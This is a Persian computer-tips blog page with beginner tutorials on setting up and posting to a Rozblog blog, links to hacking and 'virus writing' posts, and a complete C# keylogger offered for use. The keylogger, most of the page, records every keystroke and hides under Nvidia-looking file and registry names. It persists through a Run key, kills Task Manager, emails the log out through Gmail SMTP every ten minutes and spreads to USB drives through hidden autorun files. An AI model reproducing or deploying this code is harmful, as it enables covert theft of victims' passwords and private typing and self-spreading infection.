عنوان | پاسخ | بازدید | توسط |
یه ویروس برای شوخی | 0 | 731 | modir-saite |
دانلود مستند سینمایی رونالدو – Ronaldo 2015 | 0 | 190 | modir-saite |
آموزش هک کردن و مقابله با هک شدن از 0تا100 | 6 | 274 | modir-saite |
دانلود 188 فونت فارسی | 0 | 153 | modir-saite |
دانلود بازی نبرد ایران برای ویندوز | 0 | 155 | modir-saite |
دانلود بازی اندروید(موتوری) | 0 | 138 | modir-saite |
برنامه اندروید(ریموت کامپیوتر) | 0 | 125 | modir-saite |
دانلود بازی اندروید(هشتمین حمله) | 0 | 183 | modir-saite |
آموزش ارسال ایمیل جعلی باtelnet | 0 | 137 | modir-saite |
ویروس نویسی | 0 | 130 | modir-saite |
ماشین حساب با سی شارپ.
حجم: ...../2کلوبایت
نوع فایل : rar
اگه مشکلی داشت اعلام کنید.
این فایل چون با پسوند exe ست توی هرکامپیوتری باز میشه.
حتی اگه سی شارپ نداشته باشین.
به امید ایرانی سرافراز
باسلام خدمت شما
من می خام تو این پست های پی در پی آموزش وبلگ نویسی از 0 تا 100 روتوضیح بدم.
امروز پست گذاشتن رو آموزش می دم.
برم سر اصل مطلب
برای اینکه به قسمت ارسال پست ها برین به بخش مطالب برین وارسال پست جدید رو بزنید.
(1)
اولین چیز اینکه شما عنوان مطلب خودتون روانتخاب کنید.باید مرتبط با مطلبی که می زارید باشه.مثل همین مطلب.
(2)
تصویر پست اختیا ریه هم میتونین بزارین هم نه برای بهتر کردن جلوه ی پست بهتره بزارین
(3)
نوشتن مطلب
شما اگه می خوانواده قلم، اندازه قلم وپاراگراف رو تعیین کنید همون اول انتخاب کنید چون اگه بعد از نوشتن به خواین اینارو تغییر بدین با مشکل مواجه می شین.
اینجا مثل همون word کامپیوتره چیزتوضیح دادنی زیادی نداره
فقط اگه خواستین کد html بزارین از مرورگر internet explorer استفاده نکنین چون اگه قبل از اون چیزی نوشته باشین همش پاک میشه
(4)
شما می توانید برای مطالب تان موضوع انتخاب کنید برای انتخاب موضوع باید موضوعات خود را ایجاد کنید
برای ایجادموضوعات به بخش مطالب وموضوعات مطالب بروید.و موضوعات خود را ایجاد کنید.
(5)
حتی شما می توانید برای دستیابی سریع کاربر به مطالب شما ابر برچسب ایجاد کنید.
(6)
تنظیمات سئو
شما برای این که مطالب شما از طریق موتور جوستوجوگر google هم در اختیار کاربران قرار بگیرد
برای پر بازدید کردن وبلاگ خوبه.
(7)
نظر خواهی ، وضعیت مطلب، نمایش مطلب
نظرخواهی:شما می توانید تنظیم کنید که نظرخواهی برای مطلب فعال ،غیرفعال،یا همین که کاربر نظرداد نظربدون تأیید مدیر نمایش داده بشه
ویا ...............
وضعیت مطلب: شما می تونید تنظیم کنید که مطلب انتشار داده بشه یا نه یا پست ثابت با شه یا نه
ویا ...............
نمایش مطلب:شما می تونید تنظیم کنید که مطلب برای چه کسانی نمایش داده بشه برا چه کسانی نمایش داده نشه
ویا ...............
(8)
رمز گذاری برای مطلب
شما می تونید برای پستی که قرار میدین رمز بزارین تا همه به اون دسترسی نداشته باشن.
شما می تونیدبا زدن کلید پیش نمایش مطلب خودتون رو قبل از ارسال آن ببینید که اگه عیب و عیرادی داشت برطرفش کنین.
آموزش امروزم تموم شد
(((((((((((((((((((((((((((((((در آموزش های بعدی همراه ما باشید.))))))))))))))))))))))))))))
((((( اگه سوالی دارید حتما بپرسید شاید دیربشه اما جواب داده میشه. )))))
به امید ایرانی سرفراز
به کمک کد زیر میتونیم صفحه خانگی مرورگر Internet Explorer را تغییر بدیم
این کد رو میتونیم در ساخت ویروس ها هم استفاده کنیم.
در نوت پد کپی کرده و با فرمت reg ذخیره کنید.
باسلام خدمت شما
من می خام تو این پست های پی در پی آموزش وبلگ نویسی از 0 تا 100 روتوضیح بدم.
حالا بریم سر اصل مطلب
این آموزش در حوزه رزبلاگ می باشد.اگردر حوزه های دیگر می خواهید در نظرات بگویید تا توضیح دهم.
موارد مورد نیاز:
1-یه تلفن همراه با یک سیمکارت(ترجیحا ایرانسل)
2-یک ایمیل(اگر ایمیل ندارید و می خواهید ایمیل طراحی کنید وبلد نیستید اینجارا کلیک کنید.)
اول شما باید یه وبلاگ طراحی کنید
برای طراحی وبلاگ جدید در رزبلاگ اینجا را کلیک کنید.
(توجه)
@ بخاطر این که بنده توی صفحه ی ایجاد وبلاگ نیستم شاید موارد رو جابه جا بگم @
( توجه)
(1)
اول که وارد صفحه شدید از شما یه شماره تلفن می خاد اگه ایرانسل دارین اونو بزنین تا کدش زودتر بیاد براتون
بعد از این که کد اومد اونجا که نوشته شماره تلفن، شماره تلفنی رو که وارد کردین براش کد بیاد رو وارد می کنید.و اونجایی که نوشته کدرا وارد کنید کدی رو که براتون فرستاده رو تایپ می کنید.
(2)
بعد این که کد رو وارد کردین وارد صفحه اصلی ایجاد وبلاگ میشین.
اولش فک کنم ازتون نام کاربری می خواد
نام کار بری تون میشه از حروف انگیلیسی و نقطه و خط تیره و آندرلاین
(3)
بعد از اون از شما باید رمزتون رو انتخاب کنید.
(نکته: برای اینکه امنیت وبلاگ شما بالا باشدحتما از رمز عبور بیش از 8 رقم ومتشکل از چند حروف بزرگ انگیلیسی و عدد باشد)
(4)
بعد از این ایمیل شمارو می خاد
(حتما مطمئن باشید که ایمیل خودتون رو درست وارد کنید.چو لینک فعال کردن وبلاگ به ایمیل ارسال میشه)
(5)
حالا از شما می خواد که اسم خودتون رو به صورت کامل بنویسید.
(برای اینکه پست های شما رو به نام شما ثبت کنه)
(6)
در این مرحله عنوان وبلاگ شما رو می خواد.
(وبلاگتون در مورد چیه)برای مثال:
همین وبلاگ (رایانه)
اخبارروز
عاشقانه
دانلود
و
.
.
.
(7)
در این مرحله از شما میپرسه چه اسمی رو دوست دارین
(همین طوریه فقط یه سوال الکیه حتی می تونی اسم دوست دخترتون رو بنوسید)
خخخخخخخخخخخخخخخخخخخخخخخخخخخخخخخخ
(8)
در این مرحله از شما می خاد تاریخ تولودتون رو بنویسید.
(9)
فکر کنم دیگه تموم شده باشه فقط باید کد تصویری زیر رو وارد کنید. بعد از اون من قوانین را خواندم وبا آن موافقم را علامت بزنید.بعد از اون بروی ثبت سایت کلیک کنید.
(10)
بعد از اینکه رو کلید ثبت سایت کلیک کردین از طرف رزبلاگ یه ایمیل به همون ایمیلی که وارد کردید ارسال میشه
به ایمیلتون سر بزنید ایمیلی که از طرف رزبلاگ براتون ارسال شده روبخونید و روی لینک فعال سازی کلیک کنید.
(11)
حالا وبلاگ شما ساخته شده می تونید با همون نام کاربری و رمزی که دادید وارد مدیریت سایت خودتون بشید .
(((((((((((((((((((((((((((((((در آموزش های بعدی همراه ما باشید.))))))))))))))))))))))))))))
((((( اگه سوالی دارید حتما بپرسید شاید دیربشه اما جواب داده میشه. )))))
به امید ایرانی سرفراز
کد کیلاگرباسی شارپ(#c)
using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;
namespace Keylogger_V2
{
class Program
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "nvidia.log");
public static byte caps = 0, shift = 0, failed = 0;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public static void Main()
{
_hookID = SetHook(_proc);
Program.startup();
System.Timers.Timer timer;
timer = new System.Timers.Timer();
timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);
timer.AutoReset = true;
timer.Interval = 600000;
timer.Start();
System.Timers.Timer timer2;
timer2 = new System.Timers.Timer();
timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread);
timer2.AutoReset = true;
timer2.Interval = 10000;
timer2.Start();
Application.Run();
GC.KeepAlive(timer);
GC.KeepAlive(timer2);
UnhookWindowsHookEx(_hookID);
}
public static void startup()
{
//Try to copy keylogger in some folders
string source = Application.ExecutablePath.ToString();
string destination = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
destination = System.IO.Path.Combine(destination, "nvdisp.exe");
try
{
System.IO.File.Copy(source, destination, false);
source = destination;
}
catch
{
Console.WriteLine("No authorization to copy file or other error.");
}
//Find if the file already exist in startup
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);
if (registryKey.GetValue("Nvidia driver") == null)
{
registryKey.SetValue("Nvidia driver", destination);
}
registryKey.Close();//dispose of the Key
}
catch
{
Console.WriteLine("Error setting startup reg key.");
}
//Try to add to all users
try
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);
if (registryKey.GetValue("Nvidia driver") == null)
{
registryKey.SetValue("Nvidia driver", source);
}
registryKey.Close();//dispose of the key
}
catch
{
Console.WriteLine("Error setting startup reg key for all users.");
}
}
public static void OnTimedEvent(object source, EventArgs e)
{
Process[] ProcessList = Process.GetProcesses();
foreach (Process proc in ProcessList)
{
if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
{
proc.Kill();
}
}
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("username@gmail.com");
msg.From = new MailAddress("najafireza99@gmail.com", "username", System.Text.Encoding.UTF8);
msg.Subject = "i don't know";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "ciao ale";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;
SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("najafireza@gmail.com", "password");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(Program.path);
msg.Attachments.Add(data);
try
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();
failed = 1;
}
data.Dispose();
if (failed == 0)
File.WriteAllText(Program.path, ""); //empties the file
failed = 0;
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
StreamWriter sw = File.AppendText(Program.path);
int vkCode = Marshal.ReadInt32(lParam);
if (Keys.Shift == Control.ModifierKeys) Program.shift = 1;
switch ((Keys)vkCode)
{
case Keys.Space:
sw.Write(" ");
break;
case Keys.Return:
sw.WriteLine("");
break;
case Keys.Back:
sw.Write("back");
break;
case Keys.Tab:
sw.Write("TAB");
break;
case Keys.D0:
if (Program.shift == 0) sw.Write("0");
else sw.Write(")");
break;
case Keys.D1:
if (Program.shift == 0) sw.Write("1");
else sw.Write("!");
break;
case Keys.D2:
if (Program.shift == 0) sw.Write("2");
else sw.Write("@");
break;
case Keys.D3:
if (Program.shift == 0) sw.Write("3");
else sw.Write("#");
break;
case Keys.D4:
if (Program.shift == 0) sw.Write("4");
else sw.Write("$");
break;
case Keys.D5:
if (Program.shift == 0) sw.Write("5");
else sw.Write("%");
break;
case Keys.D6:
if (Program.shift == 0) sw.Write("6");
else sw.Write("^");
break;
case Keys.D7:
if (Program.shift == 0) sw.Write("7");
else sw.Write("&");
break;
case Keys.D8:
if (Program.shift == 0) sw.Write("8");
else sw.Write("*");
break;
case Keys.D9:
if (Program.shift == 0) sw.Write("9");
else sw.Write("(");
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
case Keys.Apps:
sw.Write("");
break;
case Keys.OemQuestion:
if (Program.shift == 0) sw.Write("/");
else sw.Write("?");
break;
case Keys.OemOpenBrackets:
if (Program.shift == 0) sw.Write("[");
else sw.Write("{");
break;
case Keys.OemCloseBrackets:
if (Program.shift == 0) sw.Write("]");
else sw.Write("}");
break;
case Keys.Oem1:
if (Program.shift == 0) sw.Write(";");
else sw.Write(":");
break;
case Keys.Oem7:
if (Program.shift == 0) sw.Write("'");
else sw.Write('"');
break;
case Keys.Oemcomma:
if (Program.shift == 0) sw.Write(",");
else sw.Write("<");
break;
case Keys.OemPeriod:
if (Program.shift == 0) sw.Write(".");
else sw.Write(">");
break;
case Keys.OemMinus:
if (Program.shift == 0) sw.Write("-");
else sw.Write("_");
break;
case Keys.Oemplus:
if (Program.shift == 0) sw.Write("=");
else sw.Write("+");
break;
case Keys.Oemtilde:
if (Program.shift == 0) sw.Write("`");
else sw.Write("~");
break;
case Keys.Oem5:
sw.Write("|");
break;
case Keys.Capital:
if (Program.caps == 0) Program.caps = 1;
else Program.caps = 0;
break;
default:
if (Program.shift == 0 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
if (Program.shift == 1 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (Program.shift == 0 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (Program.shift == 1 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
break;
}
Program.shift = 0;
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
public static void USBSpread(object source, EventArgs e)
{
//A bit modified
string source2 = Application.ExecutablePath.ToString();
System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();
try
{
foreach (System.IO.DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
string driveAutorun = drive.Name + "autorun.inf";
StreamWriter sw = new StreamWriter(driveAutorun);
sw.WriteLine("[autorun]n");
sw.WriteLine("open=start.exe");
sw.WriteLine("action=Run VMCLite");
sw.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
try
{
File.Copy(source2, drive.Name + "start.exe", true);
File.SetAttributes(drive.Name + "start.exe", File.GetAttributes(drive.Name + "start.exe") | FileAttributes.Hidden);
}
finally
{
Console.WriteLine("Removable device rooted");
}
}
}
}
catch (Exception e2)
{
Console.WriteLine(e2.ToString());
}
}
}
}
تعداد صفحات : 2
باسلام خدمت شما در این وبلاگ در مورد آموزش های استفاده از رایانه و آموزش چگونگی استفاده از رایانه بحث می شود. ممنون از این که به وبلاگ من سر زدید. امید وارم از مطالب وبلاگ راضی باشید. منتظر دیدار دوباره ی شما هستیم.